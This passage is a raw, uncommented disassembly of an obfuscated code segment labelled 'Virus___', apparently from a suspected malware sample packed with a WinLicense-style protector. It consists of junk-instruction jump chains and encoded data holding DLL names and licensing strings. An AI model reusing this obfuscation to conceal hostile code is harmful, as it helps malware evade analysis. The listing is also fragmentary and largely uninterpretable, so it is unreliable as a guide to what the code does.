99h jmp loc_557FBA ; --------------------------------------------------------------------------- loc_5645F9: ; CODE XREF: Virus___:00556120j push edi mov edi, 4 add ebx, edi pop edi add ebx, 4 xchg ebx, [esp] pop esp jmp loc_55882E ; --------------------------------------------------------------------------- loc_564611: ; CODE XREF: Virus___:00562ACEj shl dl, 8 push ecx mov ecx, esp add ecx, 4 sub ecx, 4 xchg ecx, [esp] pop esp mov [esp], ecx mov ch, 0C9h and ch, 95h and ch, 82h push eax mov ah, 6Bh xor ah, 0D2h xor ch, ah pop eax sub esp, 4 mov [esp], ebx mov bl, 90h not bl xor bl, 18h jmp loc_55EDE7 ; --------------------------------------------------------------------------- loc_56464A: ; CODE XREF: Virus___:0055DC0Fj push esp jmp loc_5511D8 ; --------------------------------------------------------------------------- loc_564650: ; CODE XREF: Virus___:0055656Bj push ecx jmp loc_553815 ; --------------------------------------------------------------------------- loc_564656: ; CODE XREF: Virus___:00556B8Ej push esi mov esi, 24DF7885h mov edi, 0F35ACD77h add edi, esi pop esi push edi mov edi, 594E107Ch push ebp mov ebp, 1F1477A1h add [esp+0Ch], ebp pop ebp sub [esp+8], edi sub dword ptr [esp+8], 1F1477A1h pop edi add [esp+4], edi add dword ptr [esp+4], 594E107Ch jmp loc_5562E2 ; --------------------------------------------------------------------------- loc_564693: ; CODE XREF: Virus___:005642B1j pop edx mov ah, dh mov dh, bh pop ebx jmp loc_552A91 ; --------------------------------------------------------------------------- loc_56469E: ; CODE XREF: Virus___:0055B1ADj push esi push esp pop esi push ebp jmp loc_564C8D ; --------------------------------------------------------------------------- loc_5646A7: ; CODE XREF: Virus___:00554C9Aj pop ebp jmp loc_55460B ; --------------------------------------------------------------------------- mov cx, [esp] sub esp, 4 mov [esp], edx jmp loc_563812 ; --------------------------------------------------------------------------- loc_5646BC: ; CODE XREF: Virus___:005534A4j mov ebp, eax pop eax push esi mov esi, 0E334398h jmp loc_5552B8 ; --------------------------------------------------------------------------- loc_5646CA: ; CODE XREF: Virus___:00563141j xor bh, 0BEh add dl, bh pop ebx push eax jmp loc_55DBCB ; --------------------------------------------------------------------------- loc_5646D6: ; CODE XREF: Virus___:005515F5j pop esp pop dword ptr [esp] pop esp jmp loc_55DA5E ; --------------------------------------------------------------------------- loc_5646E0: ; CODE XREF: Virus___:00555A6Fj mov esp, [esp] bts [esp], ax pushf jmp loc_54F7ED ; --------------------------------------------------------------------------- loc_5646EE: ; CODE XREF: Virus___:0054F8B2j mov [esp], esi mov esi, esp push edx jmp loc_559EAE ; --------------------------------------------------------------------------- mov ax, [esp] push 3A83h jmp loc_55B707 ; --------------------------------------------------------------------------- loc_564707: ; CODE XREF: Virus___:0055B1F0j add esp, 4 pop dword ptr [esp] mov esp, [esp] push small word ptr [eax] jmp loc_54F7ED ; --------------------------------------------------------------------------- loc_564718: ; CODE XREF: Virus___:005556FBj neg al jmp loc_559CAB ; --------------------------------------------------------------------------- loc_56471F: ; CODE XREF: Virus___:0055DA0Ej xor [esp], edi xor edi, [esp] pop esp jmp loc_561EC2 ; --------------------------------------------------------------------------- loc_56472B: ; CODE XREF: Virus___:00550647j xor al, dh push dword ptr [esp] pop edx push eax jmp loc_56136D ; --------------------------------------------------------------------------- loc_564737: ; CODE XREF: Virus___:00550768j xchg ecx, [esp] jmp loc_559F9C ; --------------------------------------------------------------------------- loc_56473F: ; CODE XREF: Virus___:0055C5C5j push esp jmp loc_55BE3E ; --------------------------------------------------------------------------- loc_564745: ; CODE XREF: Virus___:0054FB6Dj sub esp, 4 jmp loc_5626A5 ; --------------------------------------------------------------------------- loc_564750: ; CODE XREF: Virus___:0054FEE0j mov [esp], ebp mov ebp, 183A45FCh mov edi, ebp jmp loc_556BD0 ; --------------------------------------------------------------------------- loc_56475F: ; CODE XREF: Virus___:0055A1BCj add esp, 4 xor [edi+24h], esi inc esi push dword ptr [edi+24h] push esi jmp loc_564374 ; --------------------------------------------------------------------------- loc_564772: ; CODE XREF: Virus___:00555D47j add esi, ecx pop ecx sub esi, 4 jmp loc_555EAB ; --------------------------------------------------------------------------- loc_564780: ; CODE XREF: Virus___:0055BC8Aj add esi, eax sub esi, 688300BFh pop eax push 50E5h jmp loc_55025B ; --------------------------------------------------------------------------- loc_564793: ; CODE XREF: Virus___:00556B29j pop ebx xor ebx, 6EFA44C5h mov edi, [esp] push ecx mov ecx, esp jmp loc_54FDFB ; --------------------------------------------------------------------------- loc_5647A5: ; CODE XREF: Virus___:0055CE7Fj sub edx, 4 xchg edx, [esp] jmp loc_551A21 ; --------------------------------------------------------------------------- loc_5647B3: ; CODE XREF: Virus___:00556A5Dj add ebx, eax push edx push ebp mov ebp, 715644B8h mov edx, ebp jmp loc_563075 ; --------------------------------------------------------------------------- loc_5647C3: ; CODE XREF: Virus___:00550F19j not esi push ebp mov ebp, 7DBD2BA9h shr ebp, 5 sub ebp, 0BD1C7097h xor esi, ebp pop ebp jmp loc_554732 ; --------------------------------------------------------------------------- loc_5647DC: ; CODE XREF: Virus___:0056184Aj pop dword ptr [esp] jmp loc_5598F4 ; --------------------------------------------------------------------------- loc_5647E4: ; CODE XREF: Virus___:00561E1Bj add ebp, 33914B1Dh add ebp, edi jmp loc_556434 ; --------------------------------------------------------------------------- loc_5647F1: ; CODE XREF: Virus___:00557F66j xor ebp, [esp] jmp loc_5633FD ; --------------------------------------------------------------------------- loc_5647F9: ; CODE XREF: Virus___:005596F4j sub ebx, 0CF563309h add esi, ebx pop ebx jmp loc_55B1E2 ; --------------------------------------------------------------------------- loc_564807: ; CODE XREF: Virus___:00551872j add esp, 4 xor esi, 45D4893h not esi jmp loc_563FBE ; --------------------------------------------------------------------------- loc_564817: ; CODE XREF: Virus___:0056426Cj push 5D41h jmp loc_55C0D5 ; --------------------------------------------------------------------------- loc_564821: ; CODE XREF: Virus___:00553DAAj push eax mov eax, 0FFFFFFFFh add ecx, eax pop eax push 7Eh mov [esp], ebp mov ebp, 56DA6EEFh xor ecx, ebp mov ebp, [esp] add esp, 4 and ecx, 1B3A316Ah jmp loc_554F56 ; --------------------------------------------------------------------------- loc_56484A: ; CODE XREF: Virus___:0055948Aj push edx push esi push 47392EA4h jmp loc_560557 ; --------------------------------------------------------------------------- loc_564856: ; CODE XREF: Virus___:0055F795j add ebp, 73D06C95h sub esp, 4 mov [esp], edi mov edi, 159B6093h or edi, 2A5E2A3Ah and edi, 7ED34A6Eh jmp loc_559404 ; --------------------------------------------------------------------------- loc_56487B: ; CODE XREF: Virus___:0055FAFAj add esp, 4 push ebp mov ebp, 4 add ecx, ebp mov ebp, [esp] push 2D29h mov [esp], edi mov edi, esp push ebp mov ebp, 12A10CA1h or ebp, 39EB26FDh not ebp dec ebp shl ebp, 4 add ebp, 0BEB2EFF4h jmp loc_557559 ; --------------------------------------------------------------------------- loc_5648B3: ; CODE XREF: Virus___:00561380j xor eax, 1D8B512Dh jmp loc_56371D ; --------------------------------------------------------------------------- loc_5648BD: ; CODE XREF: Virus___:0055EE39j sub bh, ch add bh, 0D8h pop ecx jmp loc_55BB1C ; --------------------------------------------------------------------------- loc_5648C8: ; CODE XREF: Virus___:00561EBDj add dword ptr [esp], 2FA90392h pop ebx sub ebx, 2FA90392h pop esi xor [esp+4], ebx mov ebx, [esp] jmp loc_55189C ; --------------------------------------------------------------------------- lodsd push ebx push esi push eax mov eax, 7C565443h dec eax xor eax, 60F50C43h shl eax, 4 shl eax, 8 shr eax, 4 sub esp, 4 mov [esp], esi mov esi, 6AD0197Eh push eax mov eax, 3448603Fh sub eax, 0DADE5908h add esi, eax pop eax jmp loc_5580CE ; --------------------------------------------------------------------------- loc_56491C: ; CODE XREF: Virus___:00551BF4j sub al, 99h pop ecx pop edx push ebx jmp loc_5560BC ; --------------------------------------------------------------------------- loc_564926: ; CODE XREF: Virus___:0055A770j add ecx, edx pop edx jmp loc_550E85 ; --------------------------------------------------------------------------- loc_56492E: ; CODE XREF: Virus___:00564A97j push ecx mov ecx, 77153785h xor ecx, 441B3E74h jmp loc_558C4D ; --------------------------------------------------------------------------- loc_56493F: ; CODE XREF: Virus___:005600BBj jmp loc_54F7ED ; --------------------------------------------------------------------------- loc_564944: ; CODE XREF: Virus___:00551FC4j xor [esp], edi xor edi, [esp] mov esp, [esp] movzx cx, al sub esp, 4 jmp loc_563DD9 ; --------------------------------------------------------------------------- loc_56495C: ; CODE XREF: Virus___:0055E2F5j mov edx, 6DA10406h push edx xor dword ptr [esp], 7D911472h jmp loc_563E46 ; --------------------------------------------------------------------------- loc_56496E: ; CODE XREF: Virus___:005508E4j xor edi, [esp] xor [esp], edi xor edi, [esp] mov esp, [esp] mov ax, [esp] push edi sub esp, 4 jmp loc_553615 ; --------------------------------------------------------------------------- loc_56498A: ; CODE XREF: Virus___:0055E461j push eax mov eax, 52E6413Eh shr eax, 5 sub eax, 2F22770Ch jmp loc_55E7E5 ; --------------------------------------------------------------------------- loc_56499D: ; CODE XREF: Virus___:00559F63j pop edi add dword ptr [esp+4], 4BA8513Fh sub [esp+4], ebx push ecx jmp loc_557EC7 ; --------------------------------------------------------------------------- loc_5649B0: ; CODE XREF: Virus___:00559B41j add esi, ecx pop ecx push eax mov eax, 58C24230h add esi, eax pop eax push dword ptr [esp] pop edx add esp, 4 push ebp mov ebp, 7EF74FBDh or ebp, 211E2AC9h sub ebp, 31BD49CBh not ebp jmp loc_55A237 ; --------------------------------------------------------------------------- loc_5649DC: ; CODE XREF: Virus___:00559309j mov edi, [esp] add esp, 4 jmp loc_559FD2 ; --------------------------------------------------------------------------- loc_5649EA: ; CODE XREF: Virus___:0055FA18j xor eax, ecx mov ecx, [esp] jmp loc_550539 ; --------------------------------------------------------------------------- loc_5649F4: ; CODE XREF: Virus___:0056144Cj push esi mov esi, 190266h neg esi sub esi, 47F6222Fh shr esi, 8 or esi, 3D0E1A8Ch shl esi, 4 sub esp, 4 mov [esp], ebx jmp loc_562F43 ; --------------------------------------------------------------------------- loc_564A1C: ; CODE XREF: Virus___:00558A1Cj sub esp, 4 mov [esp], edx jmp loc_5628ED ; --------------------------------------------------------------------------- loc_564A27: ; CODE XREF: Virus___:00560943j add edi, 59F055CCh add edi, 584604Eh shr edi, 8 push esi mov esi, 1CF00631h jmp loc_558372 ; --------------------------------------------------------------------------- loc_564A41: ; CODE XREF: Virus___:005586A9j sub esp, 4 mov [esp], esi sub esp, 4 jmp loc_55C1FE ; --------------------------------------------------------------------------- loc_564A55: ; CODE XREF: Virus___:00555AB3j push dword ptr [esp] pop edx push esi jmp loc_55AA4A ; --------------------------------------------------------------------------- loc_564A5F: ; CODE XREF: Virus___:00557047j pop ebp xchg eax, [esp] pop esp jmp loc_55EE3E ; --------------------------------------------------------------------------- loc_564A69: ; CODE XREF: Virus___:0055BA80j pop eax push ebx mov ebx, 288A6CC7h jmp loc_551A42 ; --------------------------------------------------------------------------- loc_564A75: ; CODE XREF: Virus___:00564CDBj push edi push eax jmp loc_5561FD ; --------------------------------------------------------------------------- loc_564A7C: ; CODE XREF: Virus___:0055AB5Fj sub edi, 72E57EAh add edi, 23DE429Ch add edi, eax sub edi, 23DE429Ch add edi, 72E57EAh pop eax jmp loc_56492E ; --------------------------------------------------------------------------- loc_564A9C: ; CODE XREF: Virus___:0055F4F4j mov ch, al jmp loc_55AFFB ; --------------------------------------------------------------------------- loc_564AA3: ; CODE XREF: Virus___:005589A0j add ch, 5 add al, ch jmp loc_55CA13 ; --------------------------------------------------------------------------- loc_564AAD: ; CODE XREF: Virus___:0055D024j dec eax xor eax, 6A573BDDh xor esi, eax pop eax xor esi, 381062E9h add ebp, esi pop esi jmp loc_56003A ; --------------------------------------------------------------------------- loc_564AC4: ; CODE XREF: Virus___:0055B0F6j shl ebx, 5 xor ebx, 56FB2E87h sub ebx, 1E76EC23h jmp loc_558E12 ; --------------------------------------------------------------------------- loc_564AD8: ; CODE XREF: Virus___:0055B5EAj mov [esp], ebp push dword ptr [esp+4] mov ebp, [esp] push esi mov esi, esp push ebx sub esp, 4 mov [esp], eax mov eax, 4 mov ebx, eax pop eax sub esi, 0A406C00h add esi, 306829F9h jmp loc_55C765 ; --------------------------------------------------------------------------- loc_564B08: ; CODE XREF: Virus___:0055C5E0j push ebx mov bh, 18h sub bh, 39h mov dl, bh jmp loc_55F7AD ; --------------------------------------------------------------------------- loc_564B15: ; CODE XREF: Virus___:0055869Ej mov ch, al mov eax, [esp] add esp, 4 sub al, ch jmp loc_556DA3 ; --------------------------------------------------------------------------- loc_564B24: ; CODE XREF: Virus___:0055D142j jmp loc_54F7ED ; --------------------------------------------------------------------------- loc_564B29: ; CODE XREF: Virus___:005590A5j shl esi, 6 add esi, 0FDCCE4FEh sub eax, 3E1449BEh add eax, esi add eax, 3E1449BEh pop esi add eax, ebp sub eax, 5B1C4C3Eh pop ebp sub esp, 4 mov [esp], eax push dword ptr [esp+4] jmp loc_562579 ; --------------------------------------------------------------------------- loc_564B56: ; CODE XREF: Virus___:00556C6Bj pop edi mov ecx, [esp] add esp, 4 sub edi, 34A90157h sub edi, 6629169Fh add edi, 77307F88h add edi, eax sub edi, 77307F88h jmp loc_55ACEA ; --------------------------------------------------------------------------- loc_564B7C: ; CODE XREF: Virus___:0054FFBAj pop ebx push eax mov eax, 7C8A8C39h add edx, eax pop eax add ecx, edx pop edx add ebp, ecx mov ecx, [esp] add esp, 4 add ebp, 2 jmp loc_559207 ; --------------------------------------------------------------------------- loc_564B99: ; CODE XREF: Virus___:0055DE08j push 2F807058h pop edx sub edx, 4CF75FE5h sub edx, 34214F50h jmp loc_54FDD6 ; --------------------------------------------------------------------------- loc_564BB0: ; CODE XREF: Virus___:00561D3Aj xchg edi, [esp] pop esp jmp loc_55B2DE ; --------------------------------------------------------------------------- loc_564BB9: ; CODE XREF: Virus___:0055D324j push dword ptr [esp+4] pop eax pop dword ptr [esp] mov esp, [esp] or eax, eax jz loc_55DD95 push dword ptr [edi+1Ch] push dword ptr [esp] jmp loc_564257 ; --------------------------------------------------------------------------- loc_564BD7: ; CODE XREF: Virus___:0056367Fj push ebx mov ebx, 50B748F3h add edi, 4CBE2209h jmp loc_55397C ; --------------------------------------------------------------------------- loc_564BE8: ; CODE XREF: Virus___:00564505j add esi, 6B1D016Ah sub esi, ecx sub esi, 6B1D016Ah add esi, 4FE15848h mov ecx, [esp] add esp, 4 sub esi, 1479DB8Eh add edi, 5A6D5591h add edi, esi sub edi, 5A6D5591h push dword ptr [esp] mov esi, [esp] push ebp mov ebp, esp add ebp, 4 jmp loc_551353 ; --------------------------------------------------------------------------- loc_564C2A: ; CODE XREF: Virus___:005513A6j shr ecx, 1 add ecx, 0BF7325C6h mov esi, ecx pop ecx add ebp, esi push dword ptr [esp] pop esi add esp, 4 push edx mov edx, 2 push edx mov edx, 19575441h not edx inc edx sub edx, 2E8562F5h neg edx or edx, 675D09ABh add edx, 0D51569F0h add ebp, edx pop edx jmp loc_55A2C8 ; --------------------------------------------------------------------------- mov ax, [esp] push eax jmp loc_55B6FF ; --------------------------------------------------------------------------- loc_564C76: ; CODE XREF: Virus___:0055F532j pop esi push edi jmp loc_55DFF7 ; --------------------------------------------------------------------------- loc_564C7D: ; CODE XREF: Virus___:00551A00j add eax, 4 push eax jmp loc_554F35 ; --------------------------------------------------------------------------- loc_564C88: ; CODE XREF: Virus___:005501FCj jmp loc_54F7ED ; --------------------------------------------------------------------------- loc_564C8D: ; CODE XREF: Virus___:005646A2j mov ebp, 2D326D6Eh xor ebp, 2D326D6Ah add esi, ebp pop ebp push 7183h mov [esp], ebx jmp loc_55D916 ; --------------------------------------------------------------------------- loc_564CA8: ; CODE XREF: Virus___:0055C9D9j pop eax xchg ebx, [esp] jmp loc_553577 ; --------------------------------------------------------------------------- push dword ptr [edx] jmp loc_552638 ; --------------------------------------------------------------------------- loc_564CB8: ; CODE XREF: Virus___:0055746Bj mov bh, 0F6h jmp loc_555137 ; --------------------------------------------------------------------------- loc_564CBF: ; CODE XREF: Virus___:00564069j xor ecx, 3E0960FFh jmp loc_55E3F0 ; --------------------------------------------------------------------------- loc_564CCA: ; CODE XREF: Virus___:00554719j add edi, 4 push eax push ebp sub esp, 4 mov [esp], esi jmp loc_564A75 ; --------------------------------------------------------------------------- loc_564CE0: ; CODE XREF: Virus___:0055B184j mov esi, [esp] add esp, 4 push eax jmp loc_5603BF ; --------------------------------------------------------------------------- loc_564CEC: ; CODE XREF: Virus___:00542C3Bj jmp loc_564D47 ; --------------------------------------------------------------------------- db 0Eh, 29h, 96h dd 45535508h, 2E323352h, 6C6C64h, 41564441h, 32334950h dd 6C6C642Eh, 44544E00h, 642E4C4Ch, 0D8006C6Ch, 1000407h dd 4001500h, 1D003800h, 2E800h, 7 dup(0) db 3 dup(0) ; --------------------------------------------------------------------------- loc_564D47: ; CODE XREF: Virus___:loc_564CECj jmp loc_56563A ; --------------------------------------------------------------------------- push 71D9CCEh jmp loc_542F20 ; --------------------------------------------------------------------------- push 71D9D64h jmp loc_542F20 ; --------------------------------------------------------------------------- push 71D9E8Dh jmp loc_542F20 ; --------------------------------------------------------------------------- push 71D9FC0h jmp loc_542F20 ; --------------------------------------------------------------------------- push 71DA03Dh jmp loc_542F20 ; --------------------------------------------------------------------------- push 71DA154h jmp loc_542F20 ; --------------------------------------------------------------------------- push 71DA1DBh jmp loc_542F20 ; --------------------------------------------------------------------------- dw 0ED17h dd 10DD9734h, 50A62EFDh, 8B70F88Bh, 3F3BB556h, 0EE3141E2h dd 0F98A57A3h, 0BE4D846Fh, 4D1EC336h, 5A67B83h, 0A332ED2Fh dd 2794C101h, 0A40C9B97h, 4052DB5Ch, 0AE6A4197h, 74A5C194h dd 88593B1h, 4FACA6DDh, 64E39592h, 9E10CBC9h, 1C736F47h dd 0D85F1916h, 22CD4755h, 37E038EFh, 6E8870A8h, 9DB4BFC9h dd 399B93AAh, 6032E70Fh, 0C413CC3Eh, 446C647Eh, 7ED2E52Eh dd 5C566C64h, 0EE5040EBh, 647EA235h, 46AE266Ch, 0E800928Dh dd 6EC9353Fh, 647F22B5h, 748CA66Ch, 0B7B33540h, 0AE49C67Fh dd 75Eh, 31D207F1h, 0C89B4EB7h, 8221FA00h, 5FEC2DCAh, 0EBB86595h dd 0FD7D48D7h, 3EC98320h, 699058EBh, 915D17B4h, 5741AF7Ch dd 0C102496Ch, 2945C994h, 528F6DE7h, 0CE46C1DDh, 1A32ED26h dd 65E8CFA8h, 0A9518DA3h, 78AFC774h, 0A39C8780h, 8DA36614h dd 0DFE2CF1Fh, 9724F5AEh, 0C0A1579Fh, 0D1091509h, 0CEA91BB9h dd 8DA452E7h, 94C4436Bh, 0A8DB97ABh, 0A9EB0394h, 8582579Fh dd 0BFC03953h, 0A6459DB4h, 48B4CB2Eh, 50C07F97h, 3A4773A4h dd 0CB575B56h, 6C8A554h, 915B0000h, 0D421AB78h, 0CEA6201h dd 47B43CCFh, 0FB7FC99Ah, 0B27D8526h, 3DCE13E7h, 0F29148B3h dd 8122FF7Ah, 59EA3FC7h, 0DFF6A1EBh, 6394C102h, 0DFE7DFD3h dd 8D2DB04h, 8D8780FAh, 5973AC61h, 4071569Dh, 1CBE1B32h dd 4F49C463h, 0B8B86F87h, 3A49B4Ch, 0E21DC70Fh, 0AD93883Ah dd 59h, 0E2373F81h, 7FFF24B0h, 0D38E17A5h, 0E7DDF554h dd 261EB8DFh, 0A0672E6Dh, 0A3D0DAE1h, 6595BF8Dh, 79858FB8h dd 323507A4h, 383E19BBh, 0BA94AE7Fh, 0BD37E412h, 494B63BEh dd 28F73A3Fh, 0E4CC766Ch, 6C845DA6h, 0D9E5B754h, 0D8C9C6DDh dd 1B151212h, 6D0C03DEh, 612h, 8C6DE745h, 0EC4DE51h, 7DF730E9h dd 9E35CF1h, 423D9F0Eh, 94AE5DBCh, 0DD97343Eh, 0B4DEFC11h dd 5E399B44h, 94BE6E77h, 1534F3FBh, 0CF6F3B83h, 0BF23FF3Fh dd 0E677F088h, 4CD047C8h, 623048FBh, 0C32CACB9h, 983A309Bh dd 35D60BEEh, 0CF12E963h, 4BC54250h, 0F528D1AEh, 0D28DFFDDh dd 8DAA0B03h, 0FDB86F87h, 1226FB03h, 5E722777h, 9FE08B84h dd 0B2000005h, 78F09348h, 0C18B588Dh, 8B45E63Bh, 561EAD6Ch dd 94AA79A2h, 0E13A3E89h, 0A8618A42h, 75A8511Bh, 3DD61ED6h dd 0AF88826Eh, 94C10408h, 3FF6FA88h, 332DE237h, 881916CBh dd 8D64292h, 118DA368h, 88A3B44Ah, 0FEF9FF93h, 3FD3FFFFh dd 5EE9837h, 0D84353CCh, 8DA365FDh, 7B59717Dh, 30F72AD1h dd 5B74F385h, 0EDC17E93h, 621CC7D5h, 7194AE65h, 0BEF43465h dd 59CEB70Eh, 0D527C4EEh, 5C817952h, 16C1D3E3h, 94BEE8BFh dd 81132B43h, 78AF7287h, 0C8617720h, 0C5E19BC9h, 8318B4Ah dd 0EE3A8DA4h, 7C17AA6h, 91CC9388h, 0AE000001h, 0EBCAB5E7h dd 8E8DA365h, 0A36602D5h, 0CF6C868Dh, 6DD09FA7h, 6FF775DEh dd 0E52B8BB8h, 0EEC9CB62h, 94AF2FC8h, 0D872204Ah, 6E44FB2Ch dd 0B39ECB9h, 2EDD0943h, 76AB52FCh, 652C0AADh, 0A3648E6Ch dd 0FDDF4EC9h, 700D8C02h, 0CB446E73h, 0AB7E8781h, 57A45E74h dd 0E39958Ah, 2674F97Eh, 8933627Dh, 1AC5376Eh, 6C6544BBh dd 0B469953Fh, 14132B7Bh, 818B0925h, 4903A075h, 474C68BDh dd 0B47FB6EDh, 46C905Bh, 75FF0000h, 0B8450FDCh, 0E80EC665h dd 23D89033h, 57A32DFEh, 56D9F98Ah, 9132EF0Bh, 56F52CD7h dd 0E5865B9Eh, 0BD4E836Bh, 3B9A4557h, 0BF94C105h, 0C047032Fh dd 0A875FE3Dh, 976451CAh, 0A1F9D54Ah, 28500B89h, 0A294A80Eh dd 0F109C22Ah, 226571A3h, 4FF7CC27h, 7FFA7AADh, 7B81F400h dd 3D5569A6h, 0CB98B002h, 0EA25F801h, 7823F27Ah, 94C0D45Dh dd 7DB9D1DDh, 575B5E22h, 0EFBD3CD3h, 2000003h, 0C88023F8h dd 915BE83Dh, 5B15B66Bh, 26AE7D9Ch, 447A09D2h, 0B16A8ED9h dd 78915A12h, 5D821ABh, 0CD06EE66h, 1FF8D23Eh, 94C105B8h dd 3F86AA38h, 332DE237h, 881916CBh, 8D64292h, 118DA368h dd 88A3B44Ah, 0FD49FF93h, 0E7D3FFFFh, 65EBCAB5h, 476F8DA3h dd 73A450C0h, 0B104FF21h, 318DA365h, 0B547F235h, 37993BB2h dd 453FD21Dh, 1EB46BB6h, 55647629h, 0B6E694AEh, 94BF509Ch dd 94BE9741h, 2C9DA5C1h, 0A852768Bh, 0B9A97A92h, 4DC7AF0Ch dd 0E0B26DA0h, 5BD25527h, 0FE7D1779h, 1CD6EC23h, 0B10D02DFh dd 6A09AF76h, 0DE6894AEh, 7042FD16h, 2B1484B7h, 94BE818Ch dd 4FCEE60Ch, 0CD335B94h, 14999EECh, 39E25486h, 3CAFD49Eh dd 0D4BD18C3h, 313D3CAFh, 0E4BF6882h, 43BAB6AAh, 96B0E208h dd 2985BA6Fh, 0BEB933FEh, 1AE36D2Fh, 0CD7A48C7h, 9C1DA09Bh dd 919D3CC5h, 0B46FD103h, 3CAFDC21h, 928285A1h, 5A12B16Ah dd 6C3D7992h, 99AF6C56h, 2D8F786h, 816B0000h, 0C431BB48h dd 7CFA7211h, 0B7440CDFh, 0EB0FD96Ah, 0C26D9536h, 0DDE03F7h dd 0C261B843h, 9132EF0Ah, 29FA2FD7h, 0CFE6D1FBh, 5394C106h dd 0C047AFC3h, 17E56F2Dh, 6C6955CAh, 0A8776B4h, 0AEFE2941h dd 0A8358BF5h, 0F5A7CF94h, 0CD429F5Bh, 0B4E636F1h, 423E9942h dd 7FFB94C1h, 871511A2h, 0C141F9DCh, 0BA6D7994h, 0C162BFBAh dd 23B26DDFh, 0A794C142h, 6198988Fh, 659183BCh, 0F02D84B0h dd 41DE575Ah, 251B6h, 0C11AE400h, 8E43AA22h, 548573FDh dd 0E33E3DB7h, 0AF708840h, 703BE21Ch, 3CB45788h, 834D1E33h dd 5018AB76h, 7CD073A4h, 756615Ah, 48DA94C1h, 2DC04724h dd 0EECAB46Fh, 5FE994A7h, 0F1CD4297h, 0EE59F07Bh, 0CB45575Fh dd 6DAE4C23h, 64B542B2h, 0A597344Ch, 368E0CA1h, 5ABA1FEAh dd 7BAD9A63h, 27FA7F09h, 0B26DDAE8h, 94C07529h, 968E81ADh dd 0EF86B962h, 8B588575h, 6A28BDB9h, 0C0752EB1h, 9788A294h dd 1EBC519Dh, 74E4F3ACh, 9C5D94C0h, 8FB8B241h, 0CF3731C0h dd 9F27491Ah, 0C74ACA5Ch, 0E0601B5h, 576F2DE6h, 6E95E10Dh dd 0DC2B7875h, 0A4245961h, 41E2A99Eh, 3C94424Dh, 7CA335Dh dd 4D414759h, 0B67189FFh, 0CE9DB6BEh, 15FC06DEh, 0E42FB8E4h dd 3A422646h, 3EE9CFAFh, 1A15CE36h, 8F0DCE2Ah, 0C53625Dh dd 0DFD794C1h, 0BB302FDh, 3F3794C1h, 0CB9F4D08h, 73A4508Bh dd 3FE018D0h, 0B92F2300h, 0B2A29D40h, 1CC13847h, 0BCF4BC4h dd 39E1B2CBh, 5D622D9h, 0D10AEE66h, 0CE13E65Eh, 0C217DF51h dd 0F62BD34Dh, 0C70FC339h, 0DA3AEEAEh, 837CDB1Fh, 94C10C34h dd 3466BEB4h, 61163BA8h, 694235Ah, 0C1417A5Dh, 33F4FE94h dd 6B8EB8E8h, 923D02A6h, 94AC4634h, 141C0B9Bh, 0B46995E8h dd 8E692B7Bh, 94C15E27h, 296B83ABh, 5DB91CC7h, 0AFB294C1h dd 0FAE0F946h, 0DA4D591Ah, 5A1F741Fh, 1240FCB3h, 0EF588D78h dd 0D420DB3Bh, 0A4306003h, 4565C03Fh, 4EC64102h, 9AB26DA6h dd 59D60BF0h, 0A652C245h, 5BF52775h, 0FDD8439Eh, 9C4D1178h dd 117914A3h, 0DD9E944Dh, 3FD21BD1h, 11C54D08h, 29E20AC1h dd 0F12AD29Ah, 85741E3Eh, 1A1DEF58h, 0B0560193h, 32541C55h dd 0F396B38h, 0A7FF30E9h, 1E8F8860h, 2273C3BCh, 7C164D1Dh dd 0D0E25DFEh, 0CCCEE457h, 35C4BB42h, 9857D0E8h, 0FA2FD670h dd 0E63BC34Dh, 825F9AB4h, 57F6318Dh, 0E920CB45h, 15CE363Eh dd 87CB7B1Ah, 0CC004B86h, 0CEA14D84h, 37D4EC25h, 0A39CB1BDh dd 98974AB1h, 4B4E8672h, 4D766573h, 2C1B179Fh, 6407D824h dd 0CDCF00ECh, 0EF65B443h, 415DD207h, 3600BC6h, 4E000000h dd 353FF10Dh, 0C531231Ch, 0D4251F10h, 0D51E1609h, 0E911033Ch dd 0F109FB34h, 0FA01F32Ch, 8278E827h, 876EE659h, 53D3DD52h dd 0C381E389h, 4, 8704EB83h, 248B241Ch, 46616824h, 14890000h dd 5B686824h, 4890000h, 0F8BD5524h, 0BA175D0Eh, 0EFC08D30h dd 2C8BEA01h, 4C48324h, 0CD68h, 24248900h, 4240481h, 58000000h dd 8904EC83h, 8B9240Ch, 1000000h, 591189C1h, 582434FFh dd 8B04C483h, 89512414h, 4C181E1h, 83000000h, 0C8704C1h dd 0F1E95C24h, 0D9FFFDD8h, 0BD9F56AEh, 0C2D31900h db 0F8h, 34h ; --------------------------------------------------------------------------- loc_56563A: ; CODE XREF: Virus___:loc_564D47j mov eax, 71DA451h add eax, ebp jmp eax ; --------------------------------------------------------------------------- db 0Eh dd 46404AA4h, 650BADE5h, 0AF1A3F2Eh, 0FC6DAFE7h, 0CA23F81Ah dd 885C1367h, 0C0155CDFh, 0E87A3611h, 5, 0E870937Fh, 0C6B70F4Dh dd 81CE8B5Eh, 658FC6h, 8B665700h, 8ABB59D7h, 816CC0B0h dd 3F68BCC3h, 36FFF593h, 38D0Fh, 0F2800000h, 0F4805F9Bh dd 1C7817Fh, 6617A1F1h, 818AF5B9h, 0D4B12DEFh, 8148B222h dd 0A6ACAEFh, 1366B93Ch, 3E890A58h, 0BE9h, 0FD5E1100h dd 0C1C8B022h, 576DCDE4h, 0F01EE83h, 4E4EC1B7h, 814FB54Eh dd 1EBh, 0AB850F00h, 66FFFFFFh, 0E9F9F5BAh, 8Eh, 6DBD8360h dd 71B31h, 5840Fh, 79E90000h, 6A000000h, 303E8000h, 8850Fh dd 6A0000h, 35E946h, 3E800000h, 8850F33h, 6A000000h, 24E94610h dd 80000000h, 850F343Eh, 8, 0E946306Ah, 13h, 0F353E80h dd 885h, 46406A00h, 2E9h, 80006A00h, 850F203Eh, 12h, 17E80h dd 8850Fh, 0C4830000h, 16E908h, 858D0000h, 71B31E1h, 24048950h dd 24348950h, 95FF006Ah, 71B2959h, 85C6C361h, 71B1C05h dd 4E84Dh, 76A80000h, 8B50A435h, 8B042444h, 24448900h dd 0B5FF5804h, 71B08CDh, 3B0C858Dh, 0D0FF071Bh, 29598589h dd 0AAE9071Bh, 53000000h, 7774666Fh, 5C657261h, 4C6E6957h dd 6E656369h, 43006573h, 6B636568h, 58004E49h, 746F7270h dd 74697845h, 65684300h, 554F6B63h, 69570054h, 63694C6Eh dd 65736E65h, 73726556h, 6E6F69h, 4C6E6957h, 6E656369h dd 72446573h, 72657669h, 73726556h, 6E6F69h, 4C6E6957h dd 6E656369h, 6E496573h, 6E617473h, 45006563h, 4F746978h dd 7250006Bh, 4E49636Fh, 6F725000h, 54554F63h, 69784500h dd 4E4974h, 